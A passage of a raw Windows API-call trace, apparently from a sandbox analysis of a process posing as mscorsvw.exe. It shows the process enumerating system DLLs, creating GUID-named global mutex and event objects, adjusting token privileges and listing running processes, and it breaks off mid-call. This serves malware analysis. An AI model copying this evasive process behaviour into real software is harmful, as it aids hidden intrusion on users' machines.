lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0248.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNMPNTW.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.752] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0248.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DCIMAN32.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.752] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0248.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDACLSYS.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.752] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0248.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0xa8c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDOIPROXY.DLL", lpUsedDefaultChar=0x0) returned 13 [0248.752] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0248.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0xa8c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDORES.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.752] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0248.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0xa8c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAW.DLL", lpUsedDefaultChar=0x0) returned 9 [0248.752] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x545448, dwReserved1=0x0, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0248.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAWEX.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.752] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0248.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0248.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0xa8c288, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEFAULTLOCATIONCPL.DLL", lpUsedDefaultChar=0x0) returned 22 [0248.752] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0252.479] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x118ff0c | out: BaseAddress=0x118ff0c*=0x75e00000) returned 0x0 [0252.484] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0252.484] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0252.484] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e840) returned 1 [0252.484] FindClose (in: hFindFile=0x53fd68 | out: hFindFile=0x53fd68) returned 1 [0252.485] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e268) returned 1 [0252.485] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe", pNumArgs=0x118ff38 | out: pNumArgs=0x118ff38) returned 0x558220*="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" [0252.485] LocalFree (hMem=0x558220) returned 0x0 [0252.485] Wow64DisableWow64FsRedirection (in: OldValue=0x118ff34 | out: OldValue=0x118ff34*=0x0) returned 1 [0252.485] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x948e88, nSize=0x200 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe")) returned 0x3a [0252.486] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0252.490] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x942850) returned 1 [0252.490] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x53b050, lpbSaclPresent=0x118fd68, pSacl=0x118fdbc, lpbSaclDefaulted=0x118fd68 | out: lpbSaclPresent=0x118fd68, pSacl=0x118fdbc, lpbSaclDefaulted=0x118fd68) returned 1 [0252.490] CreateEventA (lpEventAttributes=0x118fdb0, bManualReset=1, bInitialState=0, lpName="") returned 0x100 [0252.490] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9480e0) returned 1 [0252.490] GetLastError () returned 0x0 [0252.490] LocalFree (hMem=0x53b050) returned 0x0 [0252.491] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9480e0 [0252.491] CryptAcquireContextW (in: phProv=0x118fda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118fda0*=0x558220) returned 1 [0252.492] CryptCreateHash (in: hProv=0x558220, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x118fda0 | out: phHash=0x118fda0) returned 1 [0252.492] CryptHashData (hHash=0x53fd68, pbData=0x947f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0252.492] CryptGetHashParam (in: hHash=0x53fd68, dwParam=0x4, pbData=0x118fda4, pdwDataLen=0x118fdb0, dwFlags=0x0 | out: pbData=0x118fda4, pdwDataLen=0x118fdb0) returned 1 [0252.492] CryptGetHashParam (in: hHash=0x53fd68, dwParam=0x2, pbData=0x9480e0, pdwDataLen=0x118fda4, dwFlags=0x0 | out: pbData=0x9480e0, pdwDataLen=0x118fda4) returned 1 [0252.492] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948128 [0252.492] CryptDestroyHash (hHash=0x53fd68) returned 1 [0252.492] CryptReleaseContext (hProv=0x558220, dwFlags=0x0) returned 1 [0252.492] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9480e0) returned 1 [0252.492] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9480e0 [0252.493] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948170 [0252.493] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9480e0) returned 1 [0252.493] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9480e0 [0252.493] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9480e0) returned 1 [0252.493] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948170) returned 1 [0252.493] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948128) returned 1 [0252.493] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948128 [0252.493] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x0 [0252.493] GetLastError () returned 0x2 [0252.493] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x5000) returned 0x942850 [0252.493] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948170 [0252.493] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948170) returned 1 [0252.493] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0252.495] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x942850) returned 1 [0252.495] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x53b050, lpbSaclPresent=0x118fd68, pSacl=0x118fdbc, lpbSaclDefaulted=0x118fd68 | out: lpbSaclPresent=0x118fd68, pSacl=0x118fdbc, lpbSaclDefaulted=0x118fd68) returned 1 [0252.495] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948170 [0252.495] CreateEventA (lpEventAttributes=0x118fdb0, bManualReset=1, bInitialState=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x118 [0252.495] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948170) returned 1 [0252.495] GetLastError () returned 0x0 [0252.496] SetSecurityInfo () returned 0x0 [0252.742] LocalFree (hMem=0x53b050) returned 0x0 [0252.742] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948170 [0252.742] CryptAcquireContextW (in: phProv=0x118fda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118fda0*=0x5582f8) returned 1 [0252.743] CryptCreateHash (in: hProv=0x5582f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x118fda0 | out: phHash=0x118fda0) returned 1 [0252.743] CryptHashData (hHash=0x53fd68, pbData=0x947f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0252.743] CryptGetHashParam (in: hHash=0x53fd68, dwParam=0x4, pbData=0x118fda4, pdwDataLen=0x118fdb0, dwFlags=0x0 | out: pbData=0x118fda4, pdwDataLen=0x118fdb0) returned 1 [0252.743] CryptGetHashParam (in: hHash=0x53fd68, dwParam=0x2, pbData=0x948170, pdwDataLen=0x118fda4, dwFlags=0x0 | out: pbData=0x948170, pdwDataLen=0x118fda4) returned 1 [0252.743] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9480e0 [0252.743] CryptDestroyHash (hHash=0x53fd68) returned 1 [0252.743] CryptReleaseContext (hProv=0x5582f8, dwFlags=0x0) returned 1 [0252.743] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948170) returned 1 [0252.743] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948170 [0252.743] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9481b8 [0252.743] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948170) returned 1 [0252.744] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948170 [0252.744] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948170) returned 1 [0252.744] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9481b8) returned 1 [0252.744] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9480e0) returned 1 [0252.744] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9480e0 [0252.744] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9481b8 [0252.744] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0252.744] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9481b8) returned 1 [0252.744] GetLastError () returned 0x2 [0252.744] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x5000) returned 0x942850 [0252.744] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9481b8 [0252.744] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9481b8) returned 1 [0252.744] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0252.749] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x942850) returned 1 [0252.749] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x53b050, lpbSaclPresent=0x118fd64, pSacl=0x118fdbc, lpbSaclDefaulted=0x118fd64 | out: lpbSaclPresent=0x118fd64, pSacl=0x118fdbc, lpbSaclDefaulted=0x118fd64) returned 1 [0252.749] CreateMutexA (lpMutexAttributes=0x118fdb0, bInitialOwner=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x11c [0252.749] GetLastError () returned 0x0 [0252.749] SetSecurityInfo () returned 0x0 [0252.749] LocalFree (hMem=0x53b050) returned 0x0 [0252.749] SetEvent (hEvent=0x118) returned 1 [0252.749] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0xffffffff) returned 0x0 [0252.750] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9481b8 [0252.751] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x118fbf4 | out: TokenHandle=0x118fbf4*=0x148) returned 0x0 [0252.752] NtAdjustPrivilegesToken (in: TokenHandle=0x148, DisableAllPrivileges=0, NewState=0x118fbf8, BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 0x0 [0252.752] NtClose (Handle=0x148) returned 0x0 [0252.752] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x118fbf4 | out: TokenHandle=0x118fbf4*=0x148) returned 0x0 [0252.752] NtAdjustPrivilegesToken (in: TokenHandle=0x148, DisableAllPrivileges=0, NewState=0x118fbf8, BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 0x0 [0252.752] NtClose (Handle=0x148) returned 0x0 [0252.752] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948170 [0252.752] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948200 [0252.830] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948248 [0252.830] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x0) returned 0xa8d278 [0252.830] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x942850 [0252.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x942850, Length=0x4000, ResultLength=0x118fb88 | out: SystemInformation=0x942850, ResultLength=0x118fb88*=0x89b0) returned 0xc0000004 [0252.832] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x89c0) returned 0x949690 [0252.832] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x942850) returned 1 [0252.832] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x949690, Length=0x89b0, ResultLength=0x118fb88 | out: SystemInformation=0x949690, ResultLength=0x118fb88*=0x6c78) returned 0x0 [0252.834] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0xa8dd90 [0252.834] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0252.834] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948290 [0252.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smss.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0252.834] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9482d8 [0252.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smss.exe", cchWideChar=8, lpMultiByteStr=0x9482d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smss.exe", lpUsedDefaultChar=0x0) returned 8 [0252.835] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948320 [0252.835] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9482d8) returned 1 [0252.835] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948320) returned 1 [0252.835] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948320 [0252.835] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948320) returned 1 [0252.835] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948320 [0252.835] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x952058 [0252.835] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e840 [0252.835] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9482d8 [0252.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0252.835] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x948368, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csrss.exe", lpUsedDefaultChar=0x0) returned 9 [0252.835] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9483b0 [0252.835] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.835] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9483b0) returned 1 [0252.835] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9483b0 [0252.835] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9483b0) returned 1 [0252.835] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x9520b8 [0252.835] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0252.835] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9483b0 [0252.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wininit.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.835] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wininit.exe", cchWideChar=11, lpMultiByteStr=0x948368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wininit.exe", lpUsedDefaultChar=0x0) returned 11 [0252.835] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9483f8 [0252.835] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.835] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9483f8) returned 1 [0252.836] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9483f8 [0252.836] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9483f8) returned 1 [0252.836] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x952118 [0252.836] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0252.836] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9483f8 [0252.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0252.836] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x948368, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csrss.exe", lpUsedDefaultChar=0x0) returned 9 [0252.836] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948440 [0252.836] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.836] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948440) returned 1 [0252.836] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948440 [0252.836] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948440) returned 1 [0252.836] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x952178 [0252.836] RtlAllocateHeap 